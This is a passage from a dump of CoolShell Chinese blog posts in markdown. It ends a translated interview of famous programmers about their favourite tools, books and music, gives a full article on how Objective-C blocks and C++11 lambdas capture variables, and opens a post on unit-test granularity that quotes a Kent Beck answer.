Postgres, 还有一堆高效的小工具。没人知道我明年会用什么。\n\n\n***Guido Van Rossum***\n\n\nUnix/Linux, Python, vi+emacs, Firefox.\n\n\n***James Gosling***\n\n\n这些天，我在用 NetBeans. 用它可以干我想干的所有的事，清洁，简单和高效。这是最好的我永远要生活在其中的环境了。\n\n\n***Bjarne Stroustrup***\n\n\nUnix, sam (一个非常简单的文本编辑器), 当然，一个好的C++编译器。\n\n\n***Tim Bray***\n\n\n我喜欢 Unix-like 的操作系统，像 Python 和 Ruby 的动态语言，像Java的静态语言（具体说来是Java API） Emacs, 还有, bash, whatever, NetBeans.\n\n\n#### Q 8: 你最喜欢的编程书是什么？\n\n\n***Steve Yegge***\n\n\n大哥，这个问题太难了。也许是”Gödel, Escher, Bach: an Eternal Golden Braid” (作者Hofstadter)？虽然这不是严格意义上的编程的书，如果你要明确意义上的编程书，那么可能是 SICP (mitpress.mit.edu).\n\n\n***Linus Torvalds***\n\n\n嗨。这两天我在读一些小说，或是非计算机读物（老的但是有用的 “The Selfish Gene” 作者 Richard Dawkins)。\n\n\n如果要问我编程的书，我脑子里只出现了唯 一一本真正的经典的编程的书 Kernighan & Ritchie 的 “The C Programming Language”，因为这本书太牛了，可读性强并且很短。考~~虚~~虑一下你想学到这世上一门最重要编程语言，并且它很要很薄，而且还有可读性，这真是一个奇迹。\n\n\n也就是说，其它我很喜欢的书并不是编程的，而是关于计算机结构和硬件的。那显然是 Patterson & Hennessy 的计算机结构的书，但是我个人也许更喜欢 Crawford & Gelsinger 的 “Programming the 80386?，这是我在开始写Linux时用的书。\n\n\n相似的原因，我还喜欢 Andrew Tanenbaum 的 “Operating Systems: Design and Implementation”.\n\n\n***David Heinemeier Hansson***\n\n\n我喜欢 Extreme Programming Explained 其摒弃了一般的编程实践，我还喜欢 Patterns of Enterprise Application Architecture 其出众地说明了抽象和具现的平衡。\n\n\n***Peter Norvig***\n\n\nStructure and Interpretation of Computer Programs\n\n\n***Dave Thomas***\n\n\n这关系到你所谓的“最喜欢”，也许我最喜欢的是IBM的 “IBM/360 Principles of Operation.”\n\n\n***Guido Van Rossum***\n\n\nNeil Stephenson的 Quicksilver.\n\n\n***James Gosling***\n\n\nProgramming Pearls 作者Jon Bentley.\n\n\n***Bjarne Stroustrup***\n\n\nK&R.\n\n\n***Tim Bray***\n\n\nBentley的 Programming Pearls\n\n\n#### Q 9: 你最喜欢的和编程无关的一本书是什么？\n\n\n***Steve Yegge***\n\n\n只能是一本吗？这不可能。有太多太多我喜欢的书了。\n\n\n我这个月读过最喜欢的书是 “Stardust” (Neil Gaiman) 和 “The Mind’s I” (Hofstadter/Dennet).\n\n\n我最喜欢的作者是 Kurt Vonnegut, Jr. 和 Jack Vance.\n\n\n***Linus Torvalds***\n\n\n我在前面说过 Dawkins的 Selfish Gene。在小说方面，有很多很多我enjoy的，但是几乎没有我特别喜欢的一本。我一般不会重读一本书，我的选择总是会变。我可能更喜欢科幻小说，如：”Stranger in a Strange Land” 作者 Heinlein，这是我青少年时期最喜欢的书，但现在并不是我喜欢的了。\n\n\n***David Heinemeier Hansson***\n\n\n1984, George Orwell.\n\n\n***Guido Van Rossum***\n\n\nNeil Stephenson 的 Quicksilver.\n\n\n***James Gosling***\n\n\nGuns, Germs & Steel 作者 Jared Diamond\n\n\n***Bjarne Stroustrup***\n\n\n我没有固定喜欢的书。目前是 O’Brian 的 Aubrey/Maturin 系列。\n\n\n***Tim Bray***\n\n\nOne Day in the Life of Ivan Denisovich\n\n\n#### Q 10: 你最喜欢的乐队/演奏家/作曲家？\n\n\n***Steve Yegge***\n\n\n喜欢的风格：古典音乐，动漫原声音乐，电脑游戏音乐\n\n\n喜欢的作曲家：Rachmaninoff, Chopin, Bach\n\n\n喜欢的演奏者：David Russell (古典吉它), Sviatoslav Richter (钢琴)\n\n\n喜欢的动漫音乐： Last Exile, Haibane Renmei\n\n\n***Linus Torvalds***\n\n\n实际上我并不太喜欢音乐，但是当我听音乐的时候，我一般听经典摇滚乐，如： Pink Floyd ，Beatles ，Queen 和 The Who 乐队。\n\n\n***David Heinemeier Hansson***\n\n\n我喜欢很多风格。 Beth Orton, Aimee Mann, Jewel, Lauryn Hill. Actually, 所有的这些都可以归到 Girls with Guitars ;).\n\n\n***Guido Van Rossum***\n\n\nPhilip Glass.\n\n\n***James Gosling***\n\n\n我喜欢听民歌: Christine Lavin, Woody Guthrie, Pete Seeger…\n\n\n***Bjarne Stroustrup***\n\n\n乐队: The Dixie Chicks. 作曲家: Beethoven.\n\n\n***Tim Bray***\n\n\n看我的博客吧。\n\n\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n\n\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n\n\n#### **补充说明**\n\n\n我之所以发现这篇文章，是因为我读到了 Jeff Atwood 的这篇名为 “[Linus Torvalds, Visual Basic Fan](http://www.codinghorror.com/blog/2006/07/linus-torvalds-visual-basic-fan.html)” 的文章，这篇文章指向了 “[STIFF ASKS, GREAT PROGRAMMERS ANSWER](http://sztywny.titaniumhosting.com/2006/07/23/stiff-asks-great-programmers-answers/)” 这篇文章，但是链接已坏了，然后，我搜了一下也没有搜到这篇文章。然后我去了 archive.org 搜了一下，并找到了这篇由 Jaroslaw Rzeszótko 写的博客。\n\n\n因为这篇博文现在找不到了，所以，我想我应该重新把它贴出来，这样其它人可以读一下这篇有意思的文章。所以，我向原作者取得了授权，再次感谢 Jaroslaw!\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [对九个超级程序员的采访](https://coolshell.cn/articles/8275.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-9-20 C_C++语言中闭包的探究及比较.md",
    "content": "---\nlayout: post\ntitle: C/C++语言中闭包的探究及比较\ndate: 2012/9/20/ 0:17:7\nupdated: 2012/9/20/ 0:17:7\nstatus: publish\npublished: true\ntype: post\n---\n\n（**感谢投稿人 [@思禽饮霜](http://weibo.com/jasonmblog)**）\n\n\n这里主要讨论的是C语言的扩展特性[block](http://en.wikipedia.org/wiki/Blocks_(C_language_extension))。该特性是Apple为C、C++、Objective-C增加的扩展，让这些语言可以用类Lambda表达式的语法来创建[闭包](http://en.wikipedia.org/wiki/Closure_(computer_science))。前段时间，在对CoreData存取进行封装时（让开发人员可以更简洁快速地写相关代码），我对block机制有了进一步了解，觉得可以和C++ 11中的Lambda表达式相互印证，所以最近重新做了下整理，分享给大家。\n\n\n#### 0. 简单创建匿名函数\n\n\n下面两段代码的作用都是创建匿名函数并调用，输出Hello, World语句。分别使用Objective-C和C++ 11：\n\n\n`^{ printf(\"Hello, World!\\n\"); } ();`  \n\n`[] { cout << \"Hello, World\" << endl; } ();`\n\n\nLambda表达式的一个好处就是让开发人员可以在需要的时候临时创建函数，便捷。\n\n\n在创建闭包（或者说Lambda函数）的语法上，Objective-C采用的是上尖号^，而C++ 11采用的是配对的方括号[]。\n\n\n不过“匿名函数”一词是针对程序员而言的，编译器还是采取了一定的命名规则。\n\n\n比如下面Objective-C代码中的3个block，\n\n\n\n```\n\n#import <Foundation/Foundation.h>\n\nint (^maxBlk)(int , int) = ^(int m, int n){ return m > n ? m : n; };\n\nint main(int argc, const char * argv[])\n{\n    ^{ printf(\"Hello, World!\\n\"); } ();\n\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n\n```\n\n会产生对应的3个函数：\n\n\n\n\n```\n\n__maxBlk_block_func_0\n__main_block_func_0\n__main_block_func_1\n\n```\n\n可见函数的命名规则为：\\_\\_{$Scope}\\_block\\_func\\_{$index}。其中{$Scope}为block所在函数，如果{$Scope}为全局就取block本身的名称；{$index}表示该block在{$Scope}作用域内出现的顺序（第几个block）。\n\n\n#### 1. 从语法上看如何捕获外部变量\n\n\n在上面的代码中，已经看到“匿名函数”可以直接访问外围作用域的变量i：\n\n\n\n```\n\nint i = 1024;\nvoid (^blk)(void) = ^{ printf(\"%d\\n\", i); };\nblk();\n\n```\n\n当匿名函数和non-local变量结合起来，就形成了闭包（个人看法）。  \n\n这一段代码可以成功输出i的值。\n\n\n我们把一样的逻辑搬到C++上：\n\n\n\n```\n\nint i = 1024;\nauto func = [] { printf(\"%d\\n\", i); };\nfunc();\n\n```\n\nGCC会输出：错误：‘i’未被捕获。可见在C++中无法直接捕获外围作用域的变量。\n\n\n以BNF来表示Lambda表达式的上下文无关文法，存在：\n\n\n\n```\n\nlambda-expression : lambda-introducer lambda-parameter-declarationopt compound-statement\nlambda-introducer : [ lambda-captureopt ]\n\n```\n\n因此，方括号中还可以加入一些选项：\n\n\n\n```\n\n[]        Capture nothing (or, a scorched earth strategy?)\n[&]       Capture any referenced variable by reference\n[=]       Capture any referenced variable by making a copy\n[=, &foo] Capture any referenced variable by making a copy, but capture variable foo by reference\n[bar]     Capture bar by making a copy; don't copy anything else\n[this]    Capture the this pointer of the enclosing class\n\n```\n\n根据文法，对代码加以修改，使其能够成功运行：\n\n\n\n```\n\nbash-3.2# vi testLambda.cpp\nbash-3.2# g++-4.7 -std=c++11 testLambda.cpp -o testLambda\nbash-3.2# ./testLambda\n1024\nbash-3.2# cat testLambda.cpp\n#include <iostream>\n\nusing  namespace std;\n\nint main()\n{\n     int i = 1024;\n     auto func = [=] { printf(\"%d\\n\", i); };\n     func();\n\n     return 0;\n}\nbash-3.2#\n\n```\n\n#### 2. 从语法上看如何修改外部变量\n\n\n上面代码中使用了符号=，通过拷贝方式捕获了外部变量i。  \n\n但是如果尝试在Lambda表达式中修改变量i：\n\n\n\n```\n\nauto func = [=] { i = 0; printf(\"%d\\n\", i); };\n\n```\n\n会得到错误：\n\n\n\n```\n\ntestLambda.cpp: 在 lambda 函数中:\ntestLambda.cpp:9:24: 错误：向只读变量‘i’赋值\n\n```\n\n可见*通过拷贝方式捕获的外部变量是只读的*。Python中也有一个类似的经典case，个人觉得有相通之处：\n\n\n\n```\n\nx = 10\ndef foo():\n    print(x)\n    x += 1\nfoo()\n\n```\n\n这段代码会抛出UnboundLocalError错误，原因可以参见[FAQ](http://docs.python.org/faq/programming.html#why-am-i-getting-an-unboundlocalerror-when-the-variable-has-a-value)。\n\n\n在C++的闭包语法中，如果需要对外部变量的写权限，可以使用符号&，通过*引用方式*捕获：\n\n\n\n```\n\nint i = 1024;\nauto func = [&] { i = 0; printf(\"%d\\n\", i); };\nfunc();\n\n```\n\n反过来，将修改外部变量的逻辑放到Objective-C代码中：\n\n\n\n```\n\nint i = 1024;\nvoid (^blk)(void) = ^{ i = 0; printf(\"%d\\n\", i); };\nblk();\n\n```\n\n会得到如下错误：\n\n\n\n```\n\nmain.m:14:29: error: variable is not assignable (missing __block type specifier)\n    void (^blk)(void) = ^{ i++; printf(\"%d\\n\", i); };\n                           ~^\n1 error generated.\n\n```\n\n可见在block的语法中，默认捕获的外部变量也是只读的，如果要修改外部变量，需要使用\\_\\_block类型指示符进行修饰。  \n\n为什么呢？请继续往下看 ：）\n\n\n#### 3. 从实现上看如何捕获外部变量\n\n\n闭包对于编程语言来说是一种语法糖，包括Block和Lambda，是为了方便程序员开发而引入的。因此，对Block特性的支持会落地在*编译器前端*，中间代码将会是C语言。\n\n\n先看如下代码会产生怎样的中间代码。\n\n\n\n```\n\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n\n```\n\n首先是block结构体的实现：\n\n\n\n```\n\n#ifndef BLOCK_IMPL\n#define BLOCK_IMPL\nstruct __block_impl {\n    void *isa;\n    int Flags;\n    int Reserved;\n    void *FuncPtr;\n};\n// 省略部分代码\n\n#endif\n\n```\n\n第一个成员isa指针用来表示该结构体的类型，使其仍然处于Cocoa的对象体系中，类似Python对象系统中的PyObject。\n\n\n第二、三个成员是标志位和保留位。\n\n\n第四个成员是对应的“匿名函数”，在这个例子中对应函数：\n\n\n\n```\n\nstatic void __main_block_func_0(struct __main_block_impl_0 *__cself) {\n    int i = __cself->i; // bound by copy\n    printf(\"%d\\n\", i);\n}\n\n```\n\n函数\\_\\_main\\_block\\_func\\_0引入了参数\\_\\_cself，为struct \\_\\_main\\_block\\_impl\\_0 \\*类型，从参数名称就可以看出它的功能类似于C++中的this指针或者Objective-C的self。  \n\n而struct \\_\\_main\\_block\\_impl\\_0的结构如下：\n\n\n\n```\n\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    int i;\n    __main_block_impl_0(void *fp, struct __main_block_desc_0 *desc, int _i, int flags=0) : i(_i) {\n        impl.isa = &_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n\n```\n\n从\\_\\_main\\_block\\_impl\\_0这个名称可以看出该结构体是为main函数中第零个block服务的，即示例代码中的blk；也可以猜到不同场景下的block对应的结构体不同，但本质上第一个成员一定是struct \\_\\_block\\_impl impl，因为这个成员是block实现的基石。\n\n\n结构体\\_\\_main\\_block\\_impl\\_0又引入了一个新的结构体，也是中间代码里最后一个结构体：\n\n\n\n```\n\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0)};\n\n```\n\n可以看出，这个描述性质的结构体包含的价值信息就是struct \\_\\_main\\_block\\_impl\\_0的大小。\n\n\n最后剩下main函数对应的中间代码：\n\n\n\n```\n\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (*blk)(void) = (void (*)(void))&__main_block_impl_0((void *)__main_block_func_0, &__main_block_desc_0_DATA, i);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)->FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n\n```\n\n从main函数对应的中间代码可以看出执行block的本质就是以block结构体自身作为\\_\\_cself参数，这里对应\\_\\_main\\_block\\_impl\\_0，通过结构体成员FuncPtr函数指针调用对应的函数，这里对应\\_\\_main\\_block\\_func\\_0。\n\n\n其中，局部变量i是以值传递的方式拷贝一份，作为\\_\\_main\\_block\\_impl\\_0的构造函数的参数，并以初始化列表的形式赋值给其成员变量i。所以，基于这样的实现，不允许直接修改外部变量是合理的——因为按值传递根本改不到外部变量。\n\n\n#### 4. 从实现上看如何修改外部变量（\\_\\_block类型指示符）\n\n\n如果想要修改外部变量，则需要用\\_\\_block来修饰：\n\n\n\n```\n\nint main(int argc, const char * argv[])\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 0; printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n\n```\n\n此时再看中间代码，发现多了一个结构体：\n\n\n\n```\n\nstruct __Block_byref_i_0 {\n    void *__isa;\n    __Block_byref_i_0 *__forwarding;\n    int __flags;\n    int __size;\n    int i;\n};\n\n```\n\n于是，用\\_\\_block修饰的int变量i化身为\\_\\_Block\\_byref\\_i\\_0结构体的最后一个成员变量。\n\n\n代码中blk对应的结构体也发生了变化：\n\n\n\n```\n\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    __Block_byref_i_0 *i; // by ref\n    __main_block_impl_0(void *fp, struct__main_block_desc_0 *desc, __Block_byref_i_0 *_i, int flags=0) : i(_i->__forwarding) {\n        impl.isa = &_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n\n```\n\n\\_\\_main\\_block\\_impl\\_0发生的变化就是int类型的成员变量i换成了\\_\\_Block\\_byref\\_i\\_0 \\*类型，从名称可以看出现在要通过引用方式来捕获了。\n\n\n对应的函数也不同了：\n\n\n\n```\n\nstatic void __main_block_func_0(struct  __main_block_impl_0 *__cself) {\n    __Block_byref_i_0 *i = __cself->i; // bound by ref\n    (i->__forwarding->i) = 0; // 看起来很厉害的样子\n    printf(\"%d\\n\", (i->__forwarding->i));\n}\n\n```\n\nmain函数也有了变动：\n\n\n\n```\n\nint main(int argc, const char * argv[])\n{\n    __block __Block_byref_i_0 i = {(void*)0,(__Block_byref_i_0 *)&i, 0, sizeof(__Block_byref_i_0), 1024};\n    void (*blk)(void) = (void (*)(void))&__main_block_impl_0((void *)__main_block_func_0, &__main_block_desc_0_DATA, (struct __Block_byref_i_0 *)&i, 570425344);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)->FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n\n```\n\n前两行代码创建了两个关键结构体，特地高亮显示。\n\n\n这里没有看\\_\\_main\\_block\\_desc\\_0发生的变化，*放到后面讨论*。\n\n\n使用\\_\\_block类型指示符的本质就是引入了\\_\\_Block\\_byref\\_{$var\\_name}\\_{$index}结构体，而被\\_\\_block关键字修饰的变量就被放到这个结构体中。另外，block结构体通过引入\\_\\_Block\\_byref\\_{$var\\_name}\\_{$index}指针类型的成员，得以间接访问到外部变量。\n\n\n通过这样的设计，我们就可以修改外部作用域的变量了，再一次应了那句话：\n\n\n\n> There is no problem in computer science that can’t be solved by adding another level of indirection.\n> \n> \n\n\n指针是我们最经常使用的间接手段，而这里的本质也是通过指针来间接访问，为什么要特地引入\\_\\_Block\\_byref\\_{$var\\_name}\\_{$index}结构体，而不是直接使用int \\*来访问外部变量i呢？\n\n\n另外，\\_\\_Block\\_byref\\_{$var\\_name}\\_{$index}结构体中的\\_\\_forwarding指针成员有何作用？\n\n\n请继续往下看 ：）\n\n\n#### 5. 背后的内存管理动作\n\n\n在Objective-C中，block特性的引入是*为了让程序员可以更简洁优雅地编写并发代码*（配合看起来像敏感词的GCD）。比较常见的就是将block作为函数参数传递，以供后续回调执行。\n\n\n先看一段完整的、可执行的代码：\n\n\n\n```\n\n#import <Foundation/Foundation.h>\n#include <pthread.h>\n\ntypedef void (^DemoBlock)(void);\n\nvoid test();\nvoid *testBlock(void *blk);\n\nint main(int argc, const char * argv[])\n{\n    printf(\"Before test()\\n\");\n    test();\n    printf(\"After test()\\n\");\n\n    sleep(5);\n    return 0;\n}\n\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&thread, NULL, testBlock, (void *)blk);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(3); // 这里睡眠1s的话，程序会崩溃\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n\n    return NULL;\n}\n\n```\n\n在这个示例中，位于test()函数的block类型的变量blk就作为函数参数传递给testBlock。\n\n\n正常情况下，这段代码可以成功运行，输出：\n\n\n\n```\n\nBefore test()\nthread returns : 0\ntestBlock : Begin to exec blk.\n2048\nAfter test()\n\n```\n\n如果按照注释，将test()函数最后一行改为休眠1s的话，正常情况下程序会在输出如下结果后崩溃：\n\n\n\n```\n\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n\n```\n\n从输出可以看出，当要执行blk的时候，test()已经执行完毕回到main函数中，对应的函数栈也已经展开，此时栈上的变量已经不存在了，继续访问导致崩溃——这也是不用int \\*直接访问外部变量i的原因。\n\n\n##### 5.1 拷贝block结构体\n\n\n上文提到block结构体\\_\\_block\\_impl的第一个成员是isa指针，使其成为NSObject的子类，所以我们可以通过相应的内存管理机制将其拷贝到堆上：\n\n\n\n```\n\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&thread, NULL, testBlock, (void *)[blk copy]);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(1);\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n\n```\n\n再次执行，得到输出：\n\n\n\n```\n\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n2048\n\n```\n\n可以看出，在test()函数栈展开后，demoBlk仍然可以成功执行，这是由于blk对应的block结构体\\_\\_main\\_block\\_impl\\_0已经在堆上了。不过这还不够——\n\n\n##### 5.2 拷贝捕获的变量（\\_\\_block变量）\n\n\n在拷贝block结构体的同时，还会将捕获的\\_\\_block变量，即结构体\\_\\_Block\\_byref\\_i\\_0，复制到堆上。这个任务落在前面没有讨论的\\_\\_main\\_block\\_desc\\_0结构体身上：\n\n\n\n```\n\nstatic void __main_block_copy_0(struct __main_block_impl_0*dst, struct __main_block_impl_0*src) {_Block_object_assign((void*)&dst->i, (void*)src->i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic void __main_block_dispose_0(struct __main_block_impl_0*src) {_Block_object_dispose((void*)src->i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n    void (*copy)(struct __main_block_impl_0*, struct __main_block_impl_0*);\n    void (*dispose)(struct __main_block_impl_0*);\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0), __main_block_copy_0, __main_block_dispose_0};\n\n```\n\n栈上的\\_\\_main\\_block\\_impl\\_0结构体为src，堆上的\\_\\_main\\_block\\_impl\\_0结构体为dst，当发生复制动作时，\\_\\_main\\_block\\_copy\\_0函数会得到调用，将src的成员变量i，即\\_\\_Block\\_byref\\_i\\_0结构体，也复制到堆上。\n\n\n##### 5.3 \\_\\_forwarding指针的作用\n\n\n当复制动作完成后，栈上和堆上都存在着\\_\\_main\\_block\\_impl\\_0结构体。如果栈上、堆上的block结构体都对捕获的外部变量进行操作，会如何？\n\n\n下面是一段示例代码：\n\n\n\n```\n\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i++; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&thread, NULL, testBlock, (void *)[blk copy]);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(1);\n    blk();\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n\n```\n\n1. 在test()函数中调用pthread\\_create创建线程时，blk被复制了一份到堆上作为testBlock函数的参数。\n2. test()函数中的blk结构体位于栈中，在休眠1s后被执行，对i进行自增动作。\n3. testBlock函数在休眠2s后，执行位于堆上的block结构体，这里为demoBlk。\n\n\n上述代码执行后输出：\n\n\n\n```\n\nBefore test()\nthread returns : 0\n1025\nAfter test()\ntestBlock : Begin to exec blk.\n1026\n\n```\n\n可见无论是栈上的还是堆上的block结构体，修改的都是同一个\\_\\_block变量。\n\n\n这就是前面提到的\\_\\_forwarding指针成员的作用了：\n\n\n起初，栈上的\\_\\_block变量的成员指针\\_\\_forwarding指向\\_\\_block变量本身，即栈上的\\_\\_Block\\_byref\\_i\\_0结构体。\n\n\n当\\_\\_block变量被复制到堆上后，栈上的\\_\\_block变量的\\_\\_forwarding成员会指向堆上的那一份拷贝，从而保持一致。\n\n\n#### 参考资料：\n\n\n* <http://msdn.microsoft.com/en-us/library/dd293603.aspx>\n* <http://www.cprogramming.com/c++11/c++11-lambda-closures.html>\n* <http://developer.apple.com/library/ios/#documentation/cocoa/Conceptual/Blocks/Articles/00_Introduction.html>\n* <http://en.wikipedia.org/wiki/Closure_(computer_science)>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [C/C++语言中闭包的探究及比较](https://coolshell.cn/articles/8309.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-9-3 “单元测试要做多细？”.md",
    "content": "---\nlayout: post\ntitle: “单元测试要做多细？”\ndate: 2012/9/3/ 0:13:31\nupdated: 2012/9/3/ 0:13:31\nstatus: publish\npublished: true\ntype: post\n---\n\n这篇文章主要来源是StackOverflow上的一个回答——“[How deep are your unit tests?](http://stackoverflow.com/questions/153234/how-deep-are-your-unit-tests \"How deep are your unit tests?\")”。一个有13.8K的分的人（[John Nolan](http://stackoverflow.com/users/1116/john-nolan)）问了个关于TDD的问题，这个问题并不新鲜，最亮的是这个问题的Best Answer，这个问题是——\n\n\n“TDD需要花时间写测试，而我们一般多少会写一些代码，而第一个测试是测试我的构造函数有没有把这个类的变量都设置对了，这会不会太过分了？那么，我们写单元测试的这个单元的粒度到底是什么样的？并且，是不是我们的测试测试得多了点？”\n\n\n#### 答案\n\n\nStackOverflow上，这个问题的答案是这样的——\n\n\n“I get paid for code that works, not for tests, so my philosophy is to test as little as possible to reach a given level of confidence (I suspect this level of confidence is high compared to industry standards, but that could just be hubris). If I don’t typically make a kind of mistake (like setting the wrong variables in a constructor), I don’t test for it. I do tend to make sense of test errors, so I’m extra careful when I have logic with complicated conditionals. When coding on a team, I modify my strategy to carefully test code that we, collectively, tend to get wrong.”\n\n\n**老板为我的代码付报酬，而不是测试，所以，我对此的价值观是——测试越少越好，少到你对你的代码质量达到了某种自信**（我觉得这种的自信标准应该要高于业内的标准，当然，这种自信也可能是种自大）。如果我的编码生涯中不会犯这种典型的错误（如：在构造函数中设了个错误的值），那我就不会测试它。**我倾向于去对那些有意义的错误做测试，所以，我对一些比较复杂的条件逻辑会异常地小心**。当在一个团队中，我会非常小心的测试那些会让团队容易出错的代码。\n\n\n这个回答对TDD似乎有一种否定，**最亮的是这个问题是由[Kent Beck](http://en.wikipedia.org/wiki/Kent_Beck)，Kent是XP和TDD的创造者，是敏捷开发实践方法的奠基人**。以致于还有人调侃到——\n\n\n\n![](../wp-content/uploads/2012/09/fight.jpg \"fight club\")\n\n\nThe world does not think that Kent Beck would say this! There are legions of developers dutifully pursuing 100% coverage because they think it is what Kent Beck would do! I have told many that you said, in your XP book, that you don’t always adhere to Test First religiously. But I’m surprised too.\n\n\n只是要地球人都不会觉得Kent Beck会这么说啊！我们有大堆程序员在忠实的追求着100%的代码测试覆盖率，因为这些程序员觉得Kent Beck也会这么干！我告诉过很多人，你在你的XP的书里说过，你并不总是支持“宗教信仰式的Test First”，但是今天Kent这么说，我还是很惊讶！\n\n\n后面还有一些人不同意Kent， 我一下子从这个事中想到了《[fight club](http://movie.douban.com/subject/1292000/)》里的那个精神分裂者创建了一个连自己都反对的地下组织。呵呵。\n\n\n其实我是非常同意Kent的，怎么合适怎么搞，爱怎么测试就怎么测试，只要自己和团队有信心就可以了。没有必要就一定要写测试，一定要测试先行。\n\n\n#### 其它答案\n\n\n八卦完了，我们还是来认认真真地看看这个问题中其它的其它答案，因为这个问题的也是国人爱问题的问题。\n\n\n**第二个答案：值得借鉴**\n\n\n* 